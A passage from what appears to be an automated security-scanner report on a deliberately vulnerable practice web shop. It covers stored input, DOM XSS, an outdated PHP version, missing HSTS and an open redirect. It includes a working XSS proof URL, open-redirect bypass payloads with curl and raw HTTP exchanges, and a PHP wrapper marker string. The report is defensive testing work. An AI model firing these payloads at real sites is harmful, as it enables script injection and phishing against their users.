Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

Detection details — how this was found and rated

checks: injection/xss
rating basis: P3 - reflected XSS: requires delivering a crafted link
class: xss injection

medium Stored / second-order input 2 affected locations · /product.php, /reviews.php

What this can lead toStored input is the case per-request filtering misses: a value that looks harmless where it enters is rendered somewhere else entirely, often to a different user and often with different escaping.

Fix, once, everywhereEscape on output rather than on input, in the template that renders the stored value - the encoding a value needs depends on where it lands, and the endpoint that stored it cannot know that. Treat every read of persisted data as untrusted.

GET/product.php Stored / second-order input on /product.php confirmed · high confidence BL-024 medium

Evidence. A marker sent to author on /reviews.php came back in the response for /product.php, which never received it. The value crosses a storage boundary, so anything that parameter is not sanitising is exposed at a different URL than the one it was submitted to - which is why per-request filtering routinely misses it. The only follow-up was a revisit of the already-known render sink; no additional payload was sent there.

Why this proves it. The marker went to the first URL and came back from the second, which never received it.

b></b> on <i>Quantum USB Cable</i><p></p></div><div class="review"><b>sksi8vko</b> on <i>Quantum USB Cable</i><p></p></div><div class="review"><b>sks</b> on <i>Quantum USB Cable</i><p></p></div><div c

How to fix. Escape on output rather than on input, in the template that renders the stored value - the encoding a value needs depends on where it lands, and the endpoint that stored it cannot know that. Treat every read of persisted data as untrusted.

What we verified A marker submitted to one endpoint came back in the response for a different one, which never received it.

Assessment boundary: The marker is a plain lowercase string with no metacharacters in it, so nothing was exercised at the rendering site - only the fact that it renders. The markers are listed so they can be searched for and removed.

How to fixEscape on output rather than on input, in the template that renders the stored value - the encoding a value needs depends on where it lands, and the endpoint that stored it cannot know that. Treat every read of persisted data as untrusted.

location: GET https://sekumart.sekuripy.hr/product.php proved with 3 payloads
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-79 · WASC-8
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-INPV-02 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

Stored in one place, rendered in another confirmed

marker

sksi8vko

submitted to

https://sekumart.sekuripy.hr/reviews.php

came back from

https://sekumart.sekuripy.hr/product.php?id=1

establishes

persistence and later rendering; whether the rendering is unsafe is the first-order check's question

cleanup

the marker is a plain lowercase string and can be searched for and removed

b></b> on <i>Quantum USB Cable</i><p></p></div><div class="review"><b>sksi8vko</b> on <i>Quantum USB Cable</i><p></p></div><div class="review"><b>sks</b> on <i>Quantum USB Cable</i><p></p></div><div c

Why this proves it. The marker went to the first URL and came back from the second, which never received it.

Additional corroboration — 4

author on /reviews.php is stored and rendered at /product.php
A marker sent to author on /reviews.php came back in the response for /product.php, which never received it. The value crosses a storage boundary, so anything that parameter is not sanitising is exposed at a different URL than the one it was submitted to - which is why per-request filtering routinely misses it. The only follow-up was a revisit of the already-known render sink; no additional payload was sent there.
body on /reviews.php is stored and rendered at /product.php
A marker sent to body on /reviews.php came back in the response for /product.php, which never received it. The value crosses a storage boundary, so anything that parameter is not sanitising is exposed at a different URL than the one it was submitted to - which is why per-request filtering routinely misses it. The only follow-up was a revisit of the already-known render sink; no additional payload was sent there.
body on /reviews.php is stored and rendered at /product.php
A marker sent to body on /reviews.php came back in the response for /product.php, which never received it. The value crosses a storage boundary, so anything that parameter is not sanitising is exposed at a different URL than the one it was submitted to - which is why per-request filtering routinely misses it. The only follow-up was a revisit of the already-known render sink; no additional payload was sent there.
callback on /api.php is stored and rendered at /product.php
A marker sent to callback on /api.php came back in the response for /product.php, which never received it. The value crosses a storage boundary, so anything that parameter is not sanitising is exposed at a different URL than the one it was submitted to - which is why per-request filtering routinely misses it. The only follow-up was a revisit of the already-known render sink; no additional payload was sent there.

Reproduce

request GET https://sekumart.sekuripy.hr/reviews.php bytes
request GET https://sekumart.sekuripy.hr/product.php?id=1 bytes
request GET https://sekumart.sekuripy.hr/product.php?id=1+AND+1%3D1 bytes
request GET https://sekumart.sekuripy.hr/api.php?callback=cb bytes
request GET https://sekumart.sekuripy.hr/product.php?id=7 bytes

Detection details — how this was found and rated

checks: injection/second_order
rating basis: P3 - input crosses a storage boundary and is rendered at a different URL
class: second order injection

All supporting observations

author on /reviews.php is stored and rendered at /product.php injection/second_order · medium
A marker sent to author on /reviews.php came back in the response for /product.php, which never received it. The value crosses a storage boundary, so anything that parameter is not sanitising is exposed at a different URL than the one it was submitted to - which is why per-request filtering routinely misses it. The only follow-up was a revisit of the already-known render sink; no additional payload was sent there.

marker sksi8vko submitted to https://sekumart.sekuripy.hr/reviews.php rendered at https://sekumart.sekuripy.hr/product.php?id=1 minted by recon/triage response excerpt b></b> on <i>Quantum USB Cable</i><p></p></div><div class="review"><b>sksi8vko</b> on <i>Quantum USB Cable</i><p></p></div><div class="revi… what this shows persistence and later rendering; whether the rendering is unsafe is the first-order check's question cleanup the marker is a plain lowercase string and can be searched for and removed
author on /reviews.php is stored and rendered at /product.php injection/second_order · medium
A marker sent to author on /reviews.php came back in the response for /product.php, which never received it. The value crosses a storage boundary, so anything that parameter is not sanitising is exposed at a different URL than the one it was submitted to - which is why per-request filtering routinely misses it. The only follow-up was a revisit of the already-known render sink; no additional payload was sent there.

marker sksm8bhp7 submitted to https://sekumart.sekuripy.hr/reviews.php rendered at https://sekumart.sekuripy.hr/product.php?id=1+AND+1%3D1 minted by injection/xss response excerpt a name="viewport" content="width=device-width,initial-scale=1"><title>sksm8bhp7</title><link rel="stylesheet" href="/style.css?v=973b8b4fd6"><link rel="… what this shows persistence and later rendering; whether the rendering is unsafe is the first-order check's question cleanup the marker is a plain lowercase string and can be searched for and removed
body on /reviews.php is stored and rendered at /product.php injection/second_order · medium
A marker sent to body on /reviews.php came back in the response for /product.php, which never received it. The value crosses a storage boundary, so anything that parameter is not sanitising is exposed at a different URL than the one it was submitted to - which is why per-request filtering routinely misses it. The only follow-up was a revisit of the already-known render sink; no additional payload was sent there.

marker sks77k9s submitted to https://sekumart.sekuripy.hr/reviews.php rendered at https://sekumart.sekuripy.hr/product.php?id=1 minted by recon/triage response excerpt Reviews</h3><div class="review"><b></b> on <i>Quantum USB Cable</i><p>sks77k9s</p></div><div class="review"><b></b> on <i>Quantum USB Cable… what this shows persistence and later rendering; whether the rendering is unsafe is the first-order check's question cleanup the marker is a plain lowercase string and can be searched for and removed
body on /reviews.php is stored and rendered at /product.php injection/second_order · medium
A marker sent to body on /reviews.php came back in the response for /product.php, which never received it. The value crosses a storage boundary, so anything that parameter is not sanitising is exposed at a different URL than the one it was submitted to - which is why per-request filtering routinely misses it. The only follow-up was a revisit of the already-known render sink; no additional payload was sent there.

marker sks77k9s submitted to https://sekumart.sekuripy.hr/reviews.php rendered at https://sekumart.sekuripy.hr/product.php?id=1+AND+1%3D1 minted by recon/triage response excerpt /b></div><div class="review"><b><b></b> on <i>Quantum USB Cable</i><p>sks77k9s</p></b></div><div class="review"><b><b></b> on <i>Quantum US… what this shows persistence and later rendering; whether the rendering is unsafe is the first-order check's question cleanup the marker is a plain lowercase string and can be searched for and removed
callback on /api.php is stored and rendered at /product.php injection/second_order · medium
A marker sent to callback on /api.php came back in the response for /product.php, which never received it. The value crosses a storage boundary, so anything that parameter is not sanitising is exposed at a different URL than the one it was submitted to - which is why per-request filtering routinely misses it. The only follow-up was a revisit of the already-known render sink; no additional payload was sent there.

marker sksde7km2 submitted to https://sekumart.sekuripy.hr/api.php?callback=cb rendered at https://sekumart.sekuripy.hr/product.php?id=7 minted by injection/xss response excerpt a name="viewport" content="width=device-width,initial-scale=1"><title>sksde7km2</title><link rel="stylesheet" href="/style.css?v=973b8b4fd6"><link rel="… what this shows persistence and later rendering; whether the rendering is unsafe is the first-order check's question cleanup the marker is a plain lowercase string and can be searched for and removed

GET/reviews.php Stored / second-order input on /reviews.php confirmed · high confidence BL-025 medium

Evidence. A marker sent to body on /catalog.php came back in the response for /reviews.php, which never received it. The value crosses a storage boundary, so anything that parameter is not sanitising is exposed at a different URL than the one it was submitted to - which is why per-request filtering routinely misses it. The only follow-up was a revisit of the already-known render sink; no additional payload was sent there.

Why this proves it. The marker went to the first URL and came back from the second, which never received it.

"><b></b> on <i>Quantum USB Cable</i><p>data://text/plain,<?php echo 'sksrfga0vy6'; ?></p></div><div class="review"><b></b> on <i>the shop</i><p></p></div><div class="review"><b></b> on <i>the shop</i

What we verified A marker submitted to one endpoint came back in the response for a different one, which never received it.

location: GET https://sekumart.sekuripy.hr/reviews.php
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-79 · WASC-8
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-INPV-02 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

Stored in one place, rendered in another confirmed

marker

sksrfga0vy6

submitted to

https://sekumart.sekuripy.hr/catalog.php?p=1&flag=1&username=1&password=1&add=1&product_id=1&author=1&body=1

came back from

https://sekumart.sekuripy.hr/reviews.php

establishes

persistence and later rendering; whether the rendering is unsafe is the first-order check's question

cleanup

the marker is a plain lowercase string and can be searched for and removed

"><b></b> on <i>Quantum USB Cable</i><p>data://text/plain,<?php echo 'sksrfga0vy6'; ?></p></div><div class="review"><b></b> on <i>the shop</i><p></p></div><div class="review"><b></b> on <i>the shop</i

Why this proves it. The marker went to the first URL and came back from the second, which never received it.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?p=1&flag=1&username=1&password=1&add=1&product_id=1&author=1&body=1 bytes
request GET https://sekumart.sekuripy.hr/reviews.php bytes

Detection details — how this was found and rated

checks: injection/second_order
rating basis: P3 - input crosses a storage boundary and is rendered at a different URL
class: second order injection

medium DOM-based scripting 1 affected location · /help.php

Fix, once, everywhereWrite untrusted values with textContent rather than innerHTML, or sanitise with a library such as DOMPurify at the sink.

GET/help.php URL fragment · lang confirmed · high confidence BL-026 medium

Evidence. The page reads the URL fragment and passes it to a DOM sink: a payload placed after the # was executed by the browser, which produced a console message containing skswh66m3 (no dialog appeared). The fragment never reaches the server, so no server-side filter can defend this - only the page itself can.

How to fix. Write untrusted values with textContent rather than innerHTML, or sanitise with a library such as DOMPurify at the sink.

What we verified A value the URL controls reaches a DOM sink in the page's own script.

What this can lead toDOM-based script injection runs in the application's origin, with the same consequences as reflected XSS, and cannot be stopped by any server-side filter when the source is the fragment. Assessment boundary: No payload was delivered to a real user.

How to fixWrite untrusted values with textContent rather than innerHTML, or sanitise with a library such as DOMPurify at the sink.

location: GET https://sekumart.sekuripy.hr/help.php proved with 2 payloads
input: lang in the URL fragment
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-79 · WASC-8
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-CLNT-01 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

DOM XSS via the URL fragment (#lang=) confirmed

The page reads the URL fragment and passes it to a DOM sink: a payload placed after the # was executed by the browser, which produced a console message containing skswh66m3 (no dialog appeared). The fragment never reaches the server, so no server-side filter can defend this - only the page itself can.

payload kind

img

token

skswh66m3

dialog

[sekuscan:alert] /skswh66m3/

observed via

console message

proof url

https://sekumart.sekuripy.hr/help.php#lang=%3Cimg%20src=x%20onerror=alert(/skswh66m3/)%3E

Additional corroboration — 1

URL-controlled value reaches Element.innerHTML
The browser was watched, not the source code: a value taken from location.hash[lang] reached Element.innerHTML, which can turn a string into markup or code. This is strong flow evidence, but execution still needs a browser proof payload.

Reproduce

navigate https://sekumart.sekuripy.hr/help.php#lang=%3Cimg%20src=x%20onerror=alert(/skswh66m3/)%3E bytes — a console message reading skswh66m3 appears
navigate https://sekumart.sekuripy.hr/help.php#lang=friend'donfi%3C/'%60:%3E%22;zmtlp bytes

Detection details — how this was found and rated

checks: client/dom
rating basis: P3 - DOM XSS, proven by the browser executing the payload
class: dom client

All supporting observations

DOM XSS via the URL fragment (#lang=) client/dom · medium
The page reads the URL fragment and passes it to a DOM sink: a payload placed after the # was executed by the browser, which produced a console message containing skswh66m3 (no dialog appeared). The fragment never reaches the server, so no server-side filter can defend this - only the page itself can.

payload kind img token skswh66m3 dialog [sekuscan:alert] /skswh66m3/ observed via console message proof url https://sekumart.sekuripy.hr/help.php#lang=%3Cimg%20src=x%20onerror=alert(/skswh66m3/)%3E
URL-controlled value reaches Element.innerHTML client/dom · low
The browser was watched, not the source code: a value taken from location.hash[lang] reached Element.innerHTML, which can turn a string into markup or code. This is strong flow evidence, but execution still needs a browser proof payload.

sink Element.innerHTML source location.hash[lang] carried friend'donfi</'`:>";zmtlp sample Chosen language: friend'donfi</'`:>";zmtlp observed via runtime taint observer

medium Outdated platform 1 affected location · /

Fix, once, everywhereCheck the version against the vendor's supported releases and update. Where an update is not immediately possible, confirm with the vendor or distribution whether the specific advisories are already backported, and remove the version signal (generator tag, asset query strings) only as a secondary measure - it hides the evidence rather than the exposure.

GET/ Outdated platform on / confirmed · high confidence BL-027 medium

Evidence. PHP 8.2.30 was identified from the header banner, and matched against the vendored NVD CPE database as php. 10 advisories cover this version, including CVE-2025-14179, CVE-2026-17543, CVE-2026-6722, CVE-2026-7261 (worst CVSS 9.8). This is an exposure claim about a *version*, not a demonstrated vulnerability - none of these were exercised against the application, and some may not apply to this configuration.

How to fix. Check the version against the vendor's supported releases and update. Where an update is not immediately possible, confirm with the vendor or distribution whether the specific advisories are already backported, and remove the version signal (generator tag, asset query strings) only as a secondary measure - it hides the evidence rather than the exposure.

Published CVE-2025-14179 CVE-2026-17543 CVE-2026-6722 CVE-2026-7261 CVE-2026-7262 CVE-2026-7568 CVE-2026-7259 CVE-2026-6735 CVE-2026-14355 CVE-2026-7260

What we verified The platform was identified from several independent signals and its version pinned from a stated source. Published advisories in the vendored OSV set cover that version.

What this can lead toA version with known advisories is exposure, not a demonstrated vulnerability. Whether any of these apply depends on configuration, on which components are installed and on whether a backport already carries the fix - a distribution package can be patched while still reporting the upstream version. Assessment boundary: None of these advisories was exercised against the application. Nothing was exploited, and no attempt was made to confirm that any individual CVE is reachable here.

How to fixCheck the version against the vendor's supported releases and update. Where an update is not immediately possible, confirm with the vendor or distribution whether the specific advisories are already backported, and remove the version signal (generator tag, asset query strings) only as a secondary measure - it hides the evidence rather than the exposure.

location: GET https://sekumart.sekuripy.hr/
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-1104
standards: OWASP Top 10 2025A02:2025 OWASP API Security Top 10 2023API9:2023 OWASP ASVS 5.0.0V13 OWASP WSTG 4.2WSTG-INFO-02, WSTG-CONF-02 ISO/IEC 27001 2022A.8.8, A.8.9 NIST CSF 2.0ID.AM-02, PR.PS-02 PCI DSS 4.0.16.3.3, 11.3.2

Decisive evidence

PHP 8.2.30 has 10 published advisories confirmed

PHP 8.2.30 was identified from the header banner, and matched against the vendored NVD CPE database as php. 10 advisories cover this version, including CVE-2025-14179, CVE-2026-17543, CVE-2026-6722, CVE-2026-7261 (worst CVSS 9.8). This is an exposure claim about a *version*, not a demonstrated vulnerability - none of these were exercised against the application, and some may not apply to this configuration.

component

PHP

component kind

product

version

8.2.30

version read from

header banner

cpe product

php

advisory data

yes

advisories total

worst cvss

9.80

worst severity

CRITICAL

dataset

2026-09-13

dataset age days

dataset source

NVD CPE

Reproduce

navigate https://sekumart.sekuripy.hr/ bytes

Detection details — how this was found and rated

checks: recon/platform
rating basis: P3 - the version reported has published advisories against it
class: platform recon

low Transport security 24 affected locations · /, /account.php, /admin.php, /api.php, /apiv1.php, /cart.php, /catalog…

What this can lead toAnything travelling in cleartext can be read and modified by anyone on the network path. For an executable resource that is arbitrary script in your origin; for a session cookie it is account takeover.

Fix, once, everywhereRedirect the cleartext origin with 301 before serving any content, then add Strict-Transport-Security with a long max-age and includeSubDomains. Change subresource URLs to https:// rather than relying on upgrade-insecure-requests, which is a compatibility shim and not a fix.

GEThttps://sekumart.sekuripy.hr/ Transport security confirmed · high confidence BL-028 low

Evidence. HTTPS response does not pin the browser to TLS.

How to fix. Redirect the cleartext origin with 301 before serving any content, then add Strict-Transport-Security with a long max-age and includeSubDomains. Change subresource URLs to https:// rather than relying on upgrade-insecure-requests, which is a compatibility shim and not a fix.

What we verified Either the cleartext origin was asked directly what it answers, or the browser was observed fetching resources over http from a page served over https.

Assessment boundary: No traffic was intercepted or modified.

How to fixRedirect the cleartext origin with 301 before serving any content, then add Strict-Transport-Security with a long max-age and includeSubDomains. Change subresource URLs to https:// rather than relying on upgrade-insecure-requests, which is a compatibility shim and not a fix.

affected: 24 routes https://sekumart.sekuripy.hr/, https://sekumart.sekuripy.hr/account.php, https://sekumart.sekuripy.hr/admin.php, https://sekumart.sekuripy.hr/api.php, https://sekumart.sekuripy.hr/apiv1.php, https://sekumart.sekuripy.hr/cart.php, https://sekumart.sekuripy.hr/catalog.php, https://sekumart.sekuripy.hr/category.php, and 16 more
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-319 · WASC-4
standards: OWASP Top 10 2025A04:2025 OWASP ASVS 5.0.0V12 OWASP WSTG 4.2WSTG-CRYP-03, WSTG-CONF-07 ISO/IEC 27001 2022A.8.24, A.8.20 NIST CSF 2.0PR.DS-02 PCI DSS 4.0.14.2.1

Decisive evidence

Missing Strict-Transport-Security header confirmed

HTTPS response does not pin the browser to TLS.

url	https://sekumart.sekuripy.hr/

Additional corroboration — 23

Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.
Missing Strict-Transport-Security header
HTTPS response does not pin the browser to TLS.

Reproduce

request GET https://sekumart.sekuripy.hr/ bytes
request GET https://sekumart.sekuripy.hr/account.php bytes
request GET https://sekumart.sekuripy.hr/admin.php bytes
request GET https://sekumart.sekuripy.hr/apiv1.php bytes
request GET https://sekumart.sekuripy.hr/search.php?q= bytes
request GET https://sekumart.sekuripy.hr/viewsource.php?p=search bytes

Detection details — how this was found and rated

checks: config/headers
rating basis: P4 - no HSTS on a TLS origin: the first request of every visit can be downgraded
class: transport config

All supporting observations

Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/account.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/admin.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/apiv1.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/search.php?q=
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/viewsource.php?p=search
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/challenges.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/cart.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/login.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/catalog.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/product.php?id=1
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/reviews.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/category.php?cat=1
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/track.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/directory.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/members.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/hackme.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/tutorial.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/help.php
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/api.php?callback=cb
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/image.php?file=
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/go.php?url=
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/setcurr.php?c=USD
Missing Strict-Transport-Security header config/headers · low
HTTPS response does not pin the browser to TLS.

url https://sekumart.sekuripy.hr/setlevel.php?l=low

low Open redirect 1 affected location · /go.php

Fix, once, everywhereRedirect only to paths on this origin, or resolve the parameter against a server-side allow-list of destinations.

GET/go.php query string · url confirmed · high confidence BL-029 low

Evidence. url=https://sekuscan.invalid/sks is accepted and the application sends the browser off-site (HTTP 302 Location: https://sekuscan.invalid/sks).

Why this proves it. The application answered with a redirect to the host we chose, so the destination is attacker-supplied.

How to fix. Redirect only to paths on this origin, or resolve the parameter against a server-side allow-list of destinations.

What we verified The application accepted an absolute URL to another host in this parameter and sent the browser there.

What this can lead toOpen redirects lend the application's name to phishing, and can leak tokens carried in the URL or the referrer to the destination. Assessment boundary: No credential or token was captured.

How to fixRedirect only to paths on this origin, or resolve the parameter against a server-side allow-list of destinations.

location: GET https://sekumart.sekuripy.hr/go.php proved with 7 payloads
input: url in the query string
authentication: none - reachable anonymously
classification: CWE-601 · WASC-38
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-CLNT-04 ISO/IEC 27001 2022A.8.28 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

The redirect went where we asked confirmed

we asked for

https://sekuscan.invalid/sks

it answered

Location: https://sekuscan.invalid/sks

Why this proves it. The application answered with a redirect to the host we chose, so the destination is attacker-supplied.

Additional corroboration — 3

External URL accepted as redirect destination via url
url=//sekuscan.invalid/sks is accepted and the application sends the browser off-site (HTTP 302 Location: //sekuscan.invalid/sks).
External URL accepted as redirect destination via url
url=\\sekuscan.invalid/sks is accepted and the application sends the browser off-site (HTTP 302 Location: \\sekuscan.invalid/sks).
External URL accepted as redirect destination via url
url=https://sekumart.sekuripy.hr.sekuscan.invalid/sks is accepted and the application sends the browser off-site (HTTP 302 Location: https://sekumart.sekuripy.hr.sekuscan.invalid/sks).

Reproduce

an absolute URL to another host GET https://sekumart.sekuripy.hr/go.php?url=https%3A//sekuscan.invalid/sks HTTP 302 0 bytes — follow redirects disabled
a protocol-relative URL GET https://sekumart.sekuripy.hr/go.php?url=//sekuscan.invalid/sks HTTP 302 0 bytes — follow redirects disabled
backslash_relative GET https://sekumart.sekuripy.hr/go.php?url=%5C%5Csekuscan.invalid/sks HTTP 302 0 bytes — follow redirects disabled
prefix_bypass GET https://sekumart.sekuripy.hr/go.php?url=https%3A//sekumart.sekuripy.hr.sekuscan.invalid/sks HTTP 302 0 bytes — follow redirects disabled
host_header GET https://sekumart.sekuripy.hr/go.php?url= HTTP 404 19 bytes
bare_host GET https://sekumart.sekuripy.hr/go.php?url=sekuscan.invalid/sks HTTP 302 0 bytes

an absolute URL to another host

curl -i -X GET 'https://sekumart.sekuripy.hr/go.php?url=https%3A//sekuscan.invalid/sks'

GET /go.php?url=https%3A//sekuscan.invalid/sks HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

an absolute URL to another host HTTP 302 https://sekumart.sekuripy.hr/go.php?url=https%3A//sekuscan.invalid/sks

request

GET /go.php?url=https%3A//sekuscan.invalid/sks HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:54 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: https://sekuscan.invalid/sks
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

a protocol-relative URL HTTP 302 https://sekumart.sekuripy.hr/go.php?url=//sekuscan.invalid/sks

request

GET /go.php?url=//sekuscan.invalid/sks HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:54 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: //sekuscan.invalid/sks
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

bare_host HTTP 302 https://sekumart.sekuripy.hr/go.php?url=sekuscan.invalid/sks

request

GET /go.php?url=sekuscan.invalid/sks HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:54 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: sekuscan.invalid/sks
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

backslash_relative HTTP 302 https://sekumart.sekuripy.hr/go.php?url=%5C%5Csekuscan.invalid/sks

request

GET /go.php?url=%5C%5Csekuscan.invalid/sks HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:54 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: \\sekuscan.invalid/sks
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

userinfo HTTP 302 https://sekumart.sekuripy.hr/go.php?url=%40sekuscan.invalid/sks

request

GET /go.php?url=%40sekuscan.invalid/sks HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:54 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: @sekuscan.invalid/sks
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

prefix_bypass HTTP 302 https://sekumart.sekuripy.hr/go.php?url=https%3A//sekumart.sekuripy.hr.sekuscan.invalid/sk…

request

GET /go.php?url=https%3A//sekumart.sekuripy.hr.sekuscan.invalid/sks HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:54 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: https://sekumart.sekuripy.hr.sekuscan.invalid/sks
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

Detection details — how this was found and rated

checks: access-control/open_redirect
rating basis: P4 - GET-based open redirect: phishing and token-leak aid, not a compromise on its own
class: open redirect access-control

All supporting observations

External URL accepted as redirect destination via url access-control/open_redirect · low
url=https://sekuscan.invalid/sks is accepted and the application sends the browser off-site (HTTP 302 Location: https://sekuscan.invalid/sks).

